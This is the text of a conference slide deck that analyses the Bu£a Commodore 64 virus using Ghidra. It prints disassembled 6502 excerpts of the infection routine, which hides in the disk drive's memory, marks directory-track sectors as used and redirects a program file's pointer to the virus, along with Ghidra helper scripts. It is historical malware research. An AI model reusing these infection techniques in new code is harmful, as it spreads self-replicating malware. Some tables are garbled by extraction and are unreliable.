Old Malware, New Tools: Ghidra and Commodore 64; why understanding old malicious software still matters
I am here because I love hacking!

- I like to contribute to OSS: Volatility, OpenCanary, Cetus, Speakeasy-Emulator, ...
- I like to develop OSS: SYNwall, REW-sploit

You can find me at:
@red5heep
https://github.com/cecio
Why?

A Commodore 64 Virus? Really? Are you serious?
The DEFCON 30 Theme Picture!

A PICTURE IS WORTH A THOUSAND WORDS
Celebrating the past and getting geeked about the future, so we’re looking for smooth integration of old school hacker stylee with future vibes

(from DEFCON30 theme description)
The deep technical review of these old software can be illuminating and really helpful to understand our current reality in security field and getting new point of view.

Remember: we are speaking about “few hundreds bytes” software.
1

Commodore 64 and Viruses

Let’s set some “historical” background
When speaking about C64, we are mainly referring to the 80ies/early 90ies of last century, so a long ago.

Yes, viruses were a thing back then, even if very different from the current reality.
A Virus in the 80ies

Let's start by defining the Virus as a program that install itself without user knowledge and tries to persist and replicate.

As all definitions, this may not fits at 100%, but it is a starting point.
WHY THIS IS INTERESTING?

Nowadays we are considering all malicious software as something that it's used to give a kind of gain to the attacker (financial gain for example).

But with C64 viruses, we are speaking more about something done to show off technical knowledge and expertise (more comparable to the "Demo Scene" done with graphics and sound).
You may think, that for this reason, we are looking at "naive" code with few functionalities: it's not the case. We’ll see the level of complexity reached by these tiny programs and all the interesting technical details.
2

The “State of the Art”

Current status of “Virus Scene” on C64
A LIST OF KNOWN VIRUSES

- BHP (considered to be the first one)
- HIV
- HIV2
- BU£A (aka Bula or Bu\a)
- MagicDisk
- Starfire
- FROG

There are some great analysis on most of them (see REFERENCES), especially for BHP, considered to be the very first virus created for C64.
THE BULEA VIRUS

Bula

*Bula*, also written as Buľa, is a Commodore 64 virus. The first known version is 6.13. When executed, the virus displays gibberish characters at about the top third of the screen, then displays in the middle the text "BUŁA JEST OK!". The second known version is 8.32. This version eliminates the gibberish characters and the system runs normally, though it still displays the "BUŁA JEST OK!" text.

The text displayed suggests this virus is from Poland. The £, a British Pound sign may be an attempt to write the letter "Ł", a letter unique to Polish which is pronounced like an English "W" or like an "L" that does not touch the top of the mouth. Bula has a few meanings in Polish (knot, gnarl, bread roll) but its exact significance here is uncertain. The phrase translates into "BUŁA is OK!".

*Aside from what we can observe, little information is available about this virus.* So far, all our observation has been through emulators, and we are unsure of how to get this virus to infect other prog files with these so we can observe the files before and after infection.

Sources

*greepaz*, *C64 Virus List*, 2007.06.09

http://virus.wikidot.com/bula
In order to try to bring back to life these programs (a Virus never dies!), I decided to get this one and start a "modern" analysis by using Ghidra and some other tools.
3

**Tools**

What I need to do something like this?
LIST OF USED TOOLS

- Ghidra 10.1.2 with C64LoaderWV plugin
- Custom Ghidra scripting (see Github repo)
- 010 Editor with custom template to analyze D64 images (see Github repo)
- Vice Emulator
- DirMaster 3.1.5
The Bu£a Virus

Some details on our specimen
From what we know, Bu£a exists in two variants, identified by a version number:

- 6.13
- 8.32

Both were available for downloads here:
https://csdb.dk/release/?id=49393
https://csdb.dk/release/?id=49394
Some background on C64

Let’s set some common knowledge on C64 hardware
CPU

The C64 was based on MOS 6510 CPU (a modified version of 6502) with a clock of 1Mhz and 64K of RAM, of which 38K available for BASIC programs. It also had some additional chips for managing video and sound.

http://en.wikipedia.org
CPU

And it looks like it is still used!
Accordingly to https://www.westerndesigncenter.com/wdc/chips.php

The 65xx chip is still sold and used for “Automotive, Consumer, Industrial, and Medical markets”
MASS STORAGE

The computer itself, didn't have any built-in storage, so an additional device was needed.

In particular the Commodore 1541 was the floppy disk drive (for 5"1/4 disks).
What is a bit less known is that the **1541 had another fully functional 6502 on board**, with some memory (2KB) and processing power. Since the two CPU can actually communicate, **we actually have a multiprocessor system** in this case.

You can actually offload some of the work to the disk CPU, but with some limitations: the communication is done through a slow serial BUS and you can drop code in a limited memory area. But it actually works and this was used especially to load "Custom Turbo Loader" on the disk itself.
And...guess what? This can be abused by viruses as well...
6502 Assembly crash course: registers #1

- **PC**: Program Counter
- **A**: Accumulator. Store values
- **X and Y**: Indexing registers
- **SP**: Stack Pointer (fixed memory region from $0100$ to $01FF$)
- **FL**: Status Flag
6502 Assembly crash course: registers #2

- 00 and 01: SID (Sound Interface Device) registers (frequency)
LDA: Load Accumulator

LDA #$0A
LDA $0100

STA: Store Accumulator

STA $0100

LDX: ... similar instruction exist for X and Y

JSR: Jump to Subroutine

JSR $0500

Usually closed by RTS
Branching instructions:
- BPL (Branch on PLus)
- BMI (Branch on MInus)
- BVC (Branch on oVerflow Clear)
- BVS (Branch on oVerflow Set)
- BCC (Branch on Carry Clear)
- BCS (Branch on Carry Set)
- BNE (Branch on Not Equal)
- BEQ (Branch on EQual)
KERNEL?
This is the name of Commodore 64 ROM-resident Operating System Call.

Compared to the PC world, it is similar to the BIOS. It has a set of low-level OS routines from $FF81 to $FFF3.

The name was probably misspelled!
Memory area where the BASIC routines and other information about the built-in BASIC language are stored. The memory area is from $A000 to $BFF0.

Here you may have direct access to higher level routines.
Bu£a: hide and seek

Let’s start the Virus
BRING THE VIRUS BACK TO LIFE

In Vice, we “insert” the disk with the PRG of the Bu£a Virus and we run it!
THE BU£A VIRUS

**** COMMODORE 64 BASIC V2 ****
64K RAM SYSTEM 38911 BASIC BYTES FREE

READY.
LOAD"*
What happened behind the scenes?
LDA        DAT_00ba    ; Device Number
JSR        SUB_ffb1    ; Call to LISTEN
LDA        #0x6f       ; secondary address set to 15 (command channel)
JMP        LAB_ff93    ; call SECLSN (SECOND)

Then execute an M-W command (Memory Write), to transfer to the disk memory the Virus core
LDA        #'M'           ; Send the "M-W" (MemoryWrite command)
JSR        SUB_ffa8       ; Write Byte to Device
LDA        #'. '          ; Write Byte to Device
JSR        SUB_ffa8
LDA        #'W'

LAB_0875:
LDY        #0x0
LDA        (DAT_00fd),Y
JSR        SUB_ffa8
INC        DAT_d020       ; Flash screen during load of the program
INY
CPY        #0x20
BNE        LAB_0875       ; Loop until finished
JSR        SUB_ffae      ; Send UNLISTEN and close the serial BUS
CODE SNIPPET: Open the Serial Bus to 1541

LDA      DAT_00ba    ; Device Number
JSR      SUB_ffb1    ; Call to LISTEN
LDA      #0x6f       ; secondary address set to 15
(command channel)
JMP      LAB_ff93    ; call SECLSN (SECOND)
CODE SNIPPET: Execute “M-W” command

LDA '#M' ; Send the "M-W" (MemoryWrite 1541 command)
JSR SUB_ffa8 ; Write Byte to Device
LDA '#-'
JSR SUB_ffa8
LDA '#W'
JSR SUB_ffa8
LDA DAT_00fb
JSR SUB_ffa8
LDA DAT_00fc
JSR SUB_ffa8
LDA #0x20
JSR SUB_ffa8
CODE SNIPPET: Flash the screen

LAB_0875:
LDA (DAT_00fd),Y
JSR SUB_ffa8
INC DAT_d020 ; Flash screen during load of the program
INY
CPY #0x20
BNE LAB_0875 ; Loop until finished
JSR SUB_ffae ; Send UNLISTEN and close the serial BUS
At this point the code has been transferred to the floppy CPU.

Why this? The Virus is stealthier (not in main memory), it persists between RESETS and even power cycling (until the disk drive is not turned off). Neat!
BRING THE VIRUS BACK TO LIFE

Now that the Virus is on the disk drive memory, it's time to execute it.

This is possible with a specific command (U3) which starts execution at specific address ($0500) of the disk drive memory.
CODE SNIPPET

Send “U3” command

JSR _Open_WR_Floppy_FUN_08f6
LDA #'U'                    ; Send “U3” command to execute code at $0500 on 1541
JSR SUB_ffa8
LDA #'3'
JSR SUB_ffa8
JSR SUB_ffae                ; Send UNLISTEN

************************************************************
* Entry Point of U3 function                               *
************************************************************

LAB_0500:
LDA DAT_1800         ; Wait for ATN (ATTENTION) Low.
BPL LAB_0500

Meanwhile on 1541 CPU…

Wait for Disk activity…
CODE SNIPPET: Send “U3” command

JSR _Open_WR_Floppy_FUN_08f6
LDA #'U' ; Send "U3" command to execute code at $0500 on 1541
JSR SUB_ffa8
LDA #'3'
JSR SUB_ffa8
JSR SUB_ffae ; Send UNLISTEN

Ux commands (x from 3 to 9 are used to execute code at different addresses from $0500 to $FF01)
CODE SNIPPET: Meanwhile on 1541...

* Entry Point of U3 function *

LAB_0500:
LDA DAT_1800 ; Wait for ATN (ATTENTION) Low.
BPL LAB_0500
Some background on C64 (again)

1541 disk drive structure and layout
Disks are split in tracks in sectors

<table>
<thead>
<tr>
<th>Track Range</th>
<th># Sectors per Track</th>
</tr>
</thead>
<tbody>
<tr>
<td>Track 1-17</td>
<td>21</td>
</tr>
<tr>
<td>Track 18-24</td>
<td>19</td>
</tr>
<tr>
<td>Track 25-30</td>
<td>18</td>
</tr>
<tr>
<td>Track 31-35</td>
<td>17</td>
</tr>
</tbody>
</table>
Track 18 is a special track: it is the DIRECTORY track, which holds information about the disk and which files are on the disk itself (like MFT+$Bitmap in NTFS).

Sectors 1-18 of DIRECTORY track contain the entries and sector 0 contains the BAM (Block Availability Map) and disk name/ID.
### TRACK 18: BAM (SECTOR 0)

<table>
<thead>
<tr>
<th>Bytes</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>$00-$03</td>
<td>Info about disk format and other stuff</td>
</tr>
<tr>
<td>$04</td>
<td># of free sectors on Track 1</td>
</tr>
<tr>
<td>$05-$07</td>
<td>Bitmap of free sectors on Track 1</td>
</tr>
<tr>
<td>$08</td>
<td># of free sectors on Track 2</td>
</tr>
<tr>
<td>$09-$0b</td>
<td>Bitmap of free sectors on Track 2</td>
</tr>
</tbody>
</table>

We have groups of 4 bytes mapping free Sectors of each track.
<table>
<thead>
<tr>
<th>Bytes</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>$00-01</td>
<td>Pointer to next block of directory. $00 if this is the last</td>
</tr>
<tr>
<td>$02</td>
<td>File type (PRG, SEQ, USR, REL)</td>
</tr>
<tr>
<td>$03-04</td>
<td>Track and sector location of first sector of file</td>
</tr>
<tr>
<td>$05-0e</td>
<td>File name (in PETASCII)</td>
</tr>
<tr>
<td>$0f-1d</td>
<td>Some other data</td>
</tr>
<tr>
<td>$1e-1f</td>
<td>File size</td>
</tr>
</tbody>
</table>

Sectors 1-19 hold the Directory entries, mapped in this way and repeated.
## TRACK 18: THE FILE TYPES

<table>
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>PRG</td>
<td>Executable program code. The first two bytes are used to set load address</td>
</tr>
<tr>
<td>SEQ</td>
<td>Sequential, a data file, it can be read from start to finish (no positioning)</td>
</tr>
<tr>
<td>REL</td>
<td>A record oriented sequential file, with random access available</td>
</tr>
<tr>
<td>USR</td>
<td>User specified file. Rarely used.</td>
</tr>
<tr>
<td>DEL</td>
<td>Undocumented file type</td>
</tr>
</tbody>
</table>

The presence of an ‘*’ before the type indicates the ‘dirty’ status (not properly closed)
Bupa: infecting...
When Disk activity is detected
Infection starts

FUN_0600 start to look on
track 18 ($12) for the first
free block.
The search starts from the
last sector of the track.
This means that the Virus
tries to hide itself in the
last 3 Sectors of the
DIRECTORY track which are
likely to be free.
There are two other
subsequent calls to FUN_0600
to find the needed space for
Virus code.

CODE SNIPPET

LDX #0x12 ; Set track value ($12 is DIRECTORY track)
LDA #0xb0 ; Set command B0: Read in sector header
JSR FUN_04b6 ; Execute command $B0
LDX #0x12 ; Set track value ($12 is DIRECTORY track)
LDY #0x0 ; Set sector value ($0 contains the BAM)
JSR FUN_04b4 ; Execute command $80 (Read Sector)
JSR FUN_0600 ; Find 1st free block
CODE SNIPPET: Disk activities

LDX #0x12 ; Set track value ($12 is DIRECTORY track)
LDA #0xb0 ; Set command B0: Read in sector header
JSR FUN_04b6 ; Execute command $B0
LDX #0x12 ; Set track value ($12 is DIRECTORY track)
LDY #0x0 ; Set sector value ($0 contains the BAM)
JSR FUN_04b4 ; Execute command $80 (Read Sector)
JSR FUN_0600 ; Find 1st free block
CODE SNIPPET: FUN_600 1/2

FUN_0600
LDA    DAT_0348 ; # of free sector on track 18 (directory)
BEQ    LAB_0618 ; If no sectors are available...jump away
DEC    DAT_0348
LDY    #0x17

LAB_060a
LDX    0x4d8,Y=>DAT_04ef
LDA    0x4c0,Y=>DAT_04d7
AND    0x348,X=>DAT_034b ; $034b = Bitmap of last 3 sector of track, $0348 # of free sector
BNE    LAB_061d
DEY
BNE    LAB_060a
LAB_0618
   LDY #0xff ; No sector free
   LDX #0x0 ; Set to 0, checked in the caller
   RTS

LAB_061d
   LDA 0x348,X=>DAT_034b
   EOR 0x4c0,Y=>DAT_04d7
   STA 0x348,X=>DAT_034b ; Mark BAM bits as used
   LDX #0x12
   RTS
BuEa wants to find a way to be re-executed

<table>
<thead>
<tr>
<th>Code Snippet</th>
<th>Translation</th>
</tr>
</thead>
<tbody>
<tr>
<td>LDX</td>
<td>DAT_0300</td>
</tr>
<tr>
<td>LDY</td>
<td>DAT_0301</td>
</tr>
<tr>
<td>JSR</td>
<td>FUN_04b4</td>
</tr>
<tr>
<td>LDX</td>
<td>#0x0</td>
</tr>
<tr>
<td>LAB_0634:</td>
<td></td>
</tr>
<tr>
<td>LDA</td>
<td>DAT_0302,X</td>
</tr>
<tr>
<td>AND</td>
<td>#0xf</td>
</tr>
<tr>
<td>CMP</td>
<td>#0x2</td>
</tr>
<tr>
<td>BNE</td>
<td>LAB_065c</td>
</tr>
</tbody>
</table>

It starts a flow to find a program (PRG file) saved on disk.

If no files are found (empty disk), the disk is just renamed with name "BUE RULES" and the Virus is not written to the disk (even if the free blocks found are marked as used, may be a bug?).
CODE SNIPPET: PRG file loop

LDX       DAT_0300    ; Load first byte of read buffer ($0300)
LDY       DAT_0301    ; Load second byte of read buffer
JSR        FUN_04b4   ; Load the first DIRECTORY sector
LDX       #0x0
LAB_0634:
LDA       DAT_0302,X  ; Load the file type (3rd byte) of the first file
                   saved on disk
AND       #0xf
CMP       #0x2        ; Check the file type. $02 is PRG
BNE        LAB_065c
If the PRG file has been found, the real infection takes place

The first sector file pointer is replaced with the sector of the Virus, saved on DIRECTORY Track. Then the last sector of Virus is pointed to the original PRG sector, trying to keep the PRG file working (even if this does not look always successful).
CODE SNIPPET: Check if already infected

LDA    DAT_0303,X ; Load Track of the first sector of file
CMP    #0x12      ; Check if it points to DIRECTORY
BEQ    LAB_065c   ; Already infected, exits
**CODE SNIPPET: Infect!**

<table>
<thead>
<tr>
<th>Instruction</th>
<th>Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>STA</td>
<td>B4_TRACK_000E</td>
<td>Store Track number in buffer #4</td>
</tr>
<tr>
<td>LDA</td>
<td>DAT_0304,X</td>
<td>Load Sector number of file</td>
</tr>
<tr>
<td>STA</td>
<td>B4_SECTOR_000F</td>
<td>Store sector number in buffer #4</td>
</tr>
<tr>
<td>LDA</td>
<td>B1_TRACK_0008</td>
<td>Load Track # of saved virus ($12)</td>
</tr>
<tr>
<td>STA</td>
<td>DAT_0303,X</td>
<td>Store it instead of the previous</td>
</tr>
<tr>
<td>LDA</td>
<td>B1_SECTOR_0009</td>
<td>Load Sector # of saved virus code</td>
</tr>
<tr>
<td>STA</td>
<td>DAT_0304,X</td>
<td>Store it instead of the previous</td>
</tr>
<tr>
<td>LDA</td>
<td>#0x90</td>
<td>Now save the sector to disk</td>
</tr>
<tr>
<td>JSR</td>
<td>FUN_04b9</td>
<td>Clear carry for returning the result</td>
</tr>
<tr>
<td>CLC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>RTS</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Infect

On DISK Activity

Track 18 ($12) has 3 free blocks?

PRG file Found?

Yes

Yes

First Sector Pointer is replaced with Virus (on track 18) and then it points back to original sector to keep execution.

NO

Rename Disk to "BUESA RULES"

NO

Exit
Bu£a: version 6 & 8

Differences
THE TWO VERSIONS

There are two versions in the wild. The second one, version 8.32, it is very similar to the one just dissected. There are a couple of minor differences:

- the loading code is a bit stealthier, without flashing screen and gibberish printed out
- it also hooks the SAVE command
Hooking in Commodore 64 is pretty trivial to obtain: addresses of the routines are saved at $0300-$03FF, so it is just a matter of replacing the address with a different one. BUŁA 8 actually replace the SAVE address and point the function to the HARDWARE RESET vector, so that if the user tries to SAVE, the device is rest, cleaning up everything but leaving the Virus active in the disk memory.
Published tools

Here what you can find and reuse
Ghidra Script: FindC64KernalROMCalls

```
show("C64 Kernel Calls", disSet);
println("### - FindC64KernalROMCalls - End");
}

private void loadKernalROMCallMap() {

    // Comodore 64 Kernal
    //
    callsMap.put("ff81", "SCINIT: Initialize VIC; restore default input/output to keyboard/screen; clear screen");
    callsMap.put("ff84", "JOIN: Initialize CIA's, SID volume; setup memory configuration; set and start");
    callsMap.put("ff87", "RAMTAS: Clear memory addresses $0002-$0101 and $0200-$03FF; run memory test and");
    callsMap.put("ff88", "RESTOR: Fill vector table at memory addresses $0314-$0333 with default values");
    callsMap.put("ff8d", "VECTOR: Copy vector table at memory addresses $0314-$0333 from or into user tabl");
    callsMap.put("ff90", "SETMSG: Set system error display switch at memory address $009D");
    callsMap.put("ff93", "LSTNSA: Send LISTEN secondary address to serial bus (must call LISTEN beforehand");
    callsMap.put("ff96", "TALKSA: Send TALK secondary address to serial bus (must call TALK beforehand)"/
    callsMap.put("ff99", "MEMBROT: Save or restore start address of BASIC work area");
    callsMap.put("ff9c", "MEMTOP: Save or restore end address of BASIC work area");
    callsMap.put("ff9f", "SCKEY: Query keyboard; put current matrix code into memory address $00CB, curre");
    callsMap.put("ffa2", "SETIMO: Unknown (Set serial bus timeout)"/
    callsMap.put("ffaa", "IECIN: Read byte from serial bus (must call TALK and TALKSA beforehand)"/
    callsMap.put("ff88", "IECOUT: Write byte to serial bus (must call LISTEN and LSTNSA beforehand)"/
    callsMap.put("ff8b", "UNTALK: Send UNTALK command to serial bus");
    callsMap.put("ffae", "UNLIST: Send UNLISTEN command to serial bus");
    callsMap.put("ffb1", "LISTEN: Send LISTEN command to serial bus");
    callsMap.put("ffb4", "TALK: Send TALK command to serial bus");
    callsMap.put("ff07", "READST: Fetch status of current input/output device, value of ST variable (for R");
    callsMap.put("ffba", "SETLFS: Set file parameters");
```
// Add the call to the listing
disSet.add(addr);
}

addr = addr.add(1);

show("C64 Kernal Calls", disSet);
println("*** - FindC1541ROMcalls - End");

private void loadROMCallMap() {

    // Commodore 1541 ROM
    callsMap.put("c100", "Turn LED on for current drive");
callsMap.put("c118", "Turn LED on");
callsMap.put("c123", "Clear error flags");
callsMap.put("c12c", "Prepare for LED flash after error");
callsMap.put("c146", "Interpret command from computer");
callsMap.put("c194", "Prepare error msg after executing command");
callsMap.put("c1bd", "Erase input buffer");
callsMap.put("c1c8", "Output error msg (track and sector 0)"");
callsMap.put("c1d1", "Check input line");
callsMap.put("c1e5", "Check ':' on input line");
callsMap.put("c1ee", "Check input line");
callsMap.put("c269", "Search character in input buffer");
callsMap.put("c2b3", "Check line length");
callsMap.put("c2cc", "Clear flags for command input");
callsMap.put("c312", "Preserve drive number");
<table>
<thead>
<tr>
<th>0500</th>
<th>ad 00 18</th>
<th>LDA</th>
<th>DAT_1800</th>
</tr>
</thead>
<tbody>
<tr>
<td>0503</td>
<td>10 fb</td>
<td>BPL</td>
<td>LAB_0500</td>
</tr>
<tr>
<td>0505</td>
<td>e2 12</td>
<td>LDX</td>
<td>#0x12</td>
</tr>
<tr>
<td>0507</td>
<td>e9 b0</td>
<td>LDA</td>
<td>#0xb0</td>
</tr>
<tr>
<td>0509</td>
<td>20 b6 04</td>
<td>JSR</td>
<td>FUN_04b6</td>
</tr>
<tr>
<td>050c</td>
<td>e2 12</td>
<td>LDX</td>
<td>#0x12</td>
</tr>
<tr>
<td>050e</td>
<td>e0 00</td>
<td>LDY</td>
<td>#0xo</td>
</tr>
<tr>
<td>0510</td>
<td>20 b4 04</td>
<td>JSR</td>
<td>FUN_04b4</td>
</tr>
<tr>
<td>0513</td>
<td>20 00 06</td>
<td>JSR</td>
<td>FUN_0600</td>
</tr>
<tr>
<td>0516</td>
<td>66 08</td>
<td>STX</td>
<td>B1_TRACK_0008</td>
</tr>
<tr>
<td>0518</td>
<td>84 09</td>
<td>STY</td>
<td>B1_SECTOR_0009</td>
</tr>
<tr>
<td>051a</td>
<td>20 00 06</td>
<td>JSR</td>
<td>FUN_0600</td>
</tr>
<tr>
<td>051d</td>
<td>66 0a</td>
<td>STX</td>
<td>B2_TRACK_000A</td>
</tr>
<tr>
<td>051f</td>
<td>84 0b</td>
<td>STY</td>
<td>B2_SECTOR_000B</td>
</tr>
<tr>
<td>0521</td>
<td>20 00 06</td>
<td>JSR</td>
<td>FUN_0600</td>
</tr>
<tr>
<td>0524</td>
<td>86 0c</td>
<td>STX</td>
<td>B3_TRACK_000C</td>
</tr>
<tr>
<td>0526</td>
<td>84 0d</td>
<td>STY</td>
<td>B3_SECTOR_000D</td>
</tr>
<tr>
<td>0528</td>
<td>e5 0c</td>
<td>LDA</td>
<td>B3_TRACK_000C</td>
</tr>
</tbody>
</table>

---

* Entry Point of U3 function

---

Wait for ATN (ATTENTION) Low. Ser...

Set track value ($12 is DIRECTOR...

Set command $0: Read in sector h...

Execute command $80

Set track value ($12 is DIRECTOR...

Set sector value ($0 contains th...

Execute command $80 (Read Sector...

Find 1st free block

Prepare on B1 the pointer to fre...

= ??

Find 2nd free block

Prepare B2 to point to free spac...

= ??

Find 3rd free block

Prepare B3 to point to free spac...

= ??
Conclusions

The End
We saw how a fully functional malicious code can be put few hundreds of bytes.

The techniques used were not really new (all of them were used for legit software as well), but it was interesting to complete the analysis of this obscure piece of code.
WE REACHED THE END...

All the scripting together with the fully commented Ghidra database for both the versions are available at:

https://github.com/cecio/BULA-Virus
TIL

From a reverse engineer point of view, I learned (or recalled) some things in this analysis:

▪ Few assembly instructions != Few functionalities
▪ Don’t forget “external” devices...code could reside in unexpected places
▪ Assembly proficiency opens a lot of doors, even on different architectures
REFERENCES

- Existing analysis of several viruses: https://codebase64.org/doku.php?id=base:viruslist
- BHP Virus analysis by Peter Ferrie: http://pferrie.epizy.com/papers/bhp.pdf?i=1
- 1541 Disk Structure: http://unusedino.de/ec64/technical/formats/d64.html
- Commodore memory maps: https://sta.c64.org/cbm64mem.html
  https://sta.c64.org/cbm1541mem.html
- Kernal func mapping: https://sta.c64.org/cbm64krnfunc.html
- Ghidra plugin: https://github.com/zeroKilo/C64LoaderWV
- Slides Templates: https://www.slidescarnival.com
Thanks!

ANY QUESTIONS?

You can find me at:
Twitter: @red5heep
GitHub: https://github.com/cecio